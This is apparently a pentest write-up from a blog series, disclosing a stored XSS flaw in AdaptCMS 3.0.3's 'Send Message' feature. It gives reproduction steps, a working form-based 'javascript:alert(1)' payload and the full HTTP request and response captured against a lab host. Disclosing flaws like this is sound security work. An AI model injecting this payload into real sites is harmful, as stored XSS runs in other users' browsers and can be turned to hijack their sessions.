Friday Fun Pentest Series - 27 - Stored XSS "Send Message" Functionality - adaptcmsv3.0.3

Description

- It was noted that the application was vulnerable to Stored XSS in the "send message" functionality

Stored XSS "Send Message" Functionality #1:

Steps to Reproduce:

1. Login as normal user and visit "Profile" > "Message" > "Send Message" 
2. In "Message" field enter the following payload "<form action="javascript:alert(1)"><input id="x" type="submit" /></form><label for="x">XSS</label>"
3. The payload would execute upon viewing the message

// HTTP POST request sending message

POST /adaptcms/messages/send HTTP/1.1

Host: 192.168.58.131

Content-Length: 591

Cache-Control: max-age=0

Accept-Language: en-GB,en;q=0.9

Origin: http://192.168.58.131

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36

[...]

_method=POST&data[_Token][key]=aabf09c7e75b47229d84deadd98c6ab65e87f979&data[Message][recipient]=admin&data[Message][title]=test&data[Message][message]=<form action="javascript:alert(1)"><input id="x" type="submit" /></form>

<p><label for="x">XSS</label></p>&data[Message][parent_id]=0&data[Message][receiver_user_id]=1&data[_Token][fields]=a989058dd1dcaad53b324c3233dfc1e8f20ba411%3AMessage.parent_id%7CMessage.receiver_user_id&data[_Token][unlocked]=

// HTTP Response

HTTP/1.1 302 Found

Date: Fri, 30 May 2025 19:01:10 GMT

Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3

X-Powered-By: PHP/5.6.40

Location: http://192.168.58.131/adaptcms/messages/index/outbox

Content-Length: 0

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8